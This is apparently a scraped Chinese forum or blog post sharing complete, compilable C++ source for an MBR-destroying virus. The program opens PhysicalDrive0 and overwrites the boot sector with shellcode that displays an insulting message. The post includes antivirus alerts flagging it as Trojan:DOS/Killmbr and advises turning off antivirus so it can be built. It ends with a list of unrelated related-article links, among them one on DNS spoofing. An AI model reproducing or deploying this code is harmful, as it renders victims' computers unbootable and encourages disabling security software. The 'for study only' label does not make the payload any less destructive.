我在编译的时候,杀毒软件提示病毒并将其拦截,所以会导致编译不成功。
1>D:\c++工程\windows\windows\MBR病毒.cpp : fatal error C1083: 无法打开编译器中间文件:“C:\Users\lenovo\AppData\Local\Temp\_CL_953b34fein”: Permission denied
1>
1>生成失败。
杀毒软件提示:
检测到项目:Trojan:DOS/Killmbr   警报级别:严重
类别: 特洛伊木马
描述: 这个程序很危险,它执行来自攻击者的命令。
建议的操作: 立即删除这个软件。
Security Essentials 检测到可能会侵害您的隐私或损坏计算机的程序。您仍然可以访问这些程序所使用的文件而不删除这些程序(不推荐)。若要访问这些文件,请选择“允许”操作,并单击“应用操作”。如果此选项不可用,请以管理员身份登录或请求安全管理员提供帮助。
项目:
file:C:\Users\lenovo\AppData\Local\Temp\_CL_953b34fein
如果需要生成,需先关闭杀毒软件。
警告:生成的可执行文件请勿运行,否则由此带来的后果自负
代码如下:

程序代码:

#include <windows.h>
#include <winioctl.h>
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

int WINAPI WinMain(
  HINSTANCE hInstance,  // handle to current instance
  HINSTANCE hPrevInstance,  // handle to previous instance
  LPSTR lpCmdLine,      // pointer to command line
int nCmdShow          // show state of window
)
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// 写入病毒内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
return 0;
}

杨航收集技术资料,分享给大家



分享一病毒源代码,破坏MBR,危险!!仅供学习参考,勿运行(vc++2010已编译通过)相关推荐

  1. 人力资源学python有意义吗-python爬虫抖音 个人资料 仅供学习参考 切勿用于商业...

    本文仅供学习参考 切勿用于商业 本次爬取使用fiddler+模拟器(下载抖音APP)+pycharm 1. 下载最新版本的fiddler(自行百度下载),以及相关配置 1.1.依次点击,菜单栏-Too ...

  2. DNS欺骗攻击——实现受害者访问任何网站都转向到攻击者指定的网站 (仅供学习参考)

    DNS欺骗攻击--实现受害者访问任何网站都转向到攻击者指定的网站 (仅供学习参考) 情景要求: 同一局域网内 受害者IP:192.168.26.130 攻击者系统Kali Linux,IP地址:192 ...

  3. 15kw充电桩电源模块,三相电源模块电路图,仅供学习参考

    15kw充电桩电源模块,三相电源模块电路图,仅供学习参考,只包含电路图和PCB文件,无软件代码 id=623312177000&

  4. 截止20210605的微博部分API汇总——仅供学习参考使用

    文章目录 免责声明 背景 API列表 搜索主评论API REQUEST RESPOND 搜索次评论API REQUEST RESPOND 转发评论API REQUEST RESPOND 上传图片API ...

  5. canal mysql重置_canal: 首先装完阿里的canal,然后数据库同步,仅供学习参考

    背景 需要将数据库增量内容同步到另外的数据库,两者保持一致.包含增删改,数据库创建.删除,数据库名称修改,内容清空,表结构修改,索引创建.修改.删除. 方案 采用阿里巴巴Canal,用于监听mysql ...

  6. python自动生成采集规则_【仅供学习参考】Python多线程池采集小说,超简单!

    [Python] 纯文本查看 复制代码#采集小说lingdiankanshu.co import requests from lxml import etree from multiprocessin ...

  7. pytorch(仅供自己参考勿看)

    一.安装Anaconda 下载pytorch前最好先安装Anaconda,可以按照以下方法下载: https://blog.csdn.net/weixin_50888378/article/detai ...

  8. C#网站图片下载器,网络爬虫,仅供学习参考使用,不可用于商业活动

    程序一共包含3个文件,主入口文件Program.cs,Html下载解析文件HtmlDown.cs,文件缓存文件FileCache.cs,其中Program.cs处理常用逻辑,HtmlDown.cs负责 ...

  9. 老司机人手必备xxlive 仅供学习交流 勿传播以及商业用途

    一款直播聚合和影视聚合app,小朋友就别看了.已破解,无任何限制观看 点击下载

  10. 欢迎随时回家——python制作一个火车票抢票版本(附完整代码,仅供学习参考)

    嗨害大家好鸭~我是小熊猫

最新文章

  1. java中exception in_java.lang.ExceptionInInitializerError
  2. 攻防世界Reverse第十题getit
  3. 【InfoQ大咖说直播回放】老司机聊程序员的职场道路选择
  4. 客户端读写数据到HDFS的流程
  5. python-第二块:time模块和datatime模块
  6. open-falcon的邮件报警
  7. 跟我一起学Redis之Redis配置文件啃了一遍之后,从尴尬变得有底气了(总结了一张思维图)...
  8. HDU 5573 Binary Tree 构造
  9. js 数组添加n次相同元素_数组中两次出现相同元素之间的最大距离
  10. 局域网聊天老大——飞鸽传书
  11. SAP License:瞎搞!你真的懂什么是ERP、中台和低代码吗?
  12. 【SQL 学习】表连接--natural join 的一个bug
  13. 3D游戏引擎技术剖析
  14. 开发工程师与研发工程师的区别
  15. 浅析360在系统的进程自保护及突破
  16. JavaScript(js)基础
  17. python 散点图
  18. VCam 能做什么?
  19. DLL load failed while importing _ssl: 找不到指定的模块
  20. DIV+CSS的问题,DIV被挤到下面去了?如何解决?

热门文章

  1. 解决Maven:com.oracle:ojdbc7-9.9.9.jar在pom文件无法下载问题
  2. 软件测试是评价软件质量的标准吗,《软件评测师教程》读书笔记(3)-软件质量与评价(软件测试标准)...
  3. [算法笔试题]华为相关复习题(更新中)
  4. Exescope等打开DLL,导出函数名称混乱的问题
  5. Kubernetes学习笔记 ~~~黑马程序员
  6. Delphi10.4.1开发Linux应用视频重播
  7. hbuildx微信开发者工具-微信小程序测试
  8. web网页设计实例作业 ——丝绸之路 (6页) 简单个人网页设计作业 静态HTML文化主题网页
  9. (练打字微信小程序)把手机当成小型计算机练习打字
  10. 访问网址(使用CDN)时 智能DNS调度 与 用户定位调度(根据IP定位)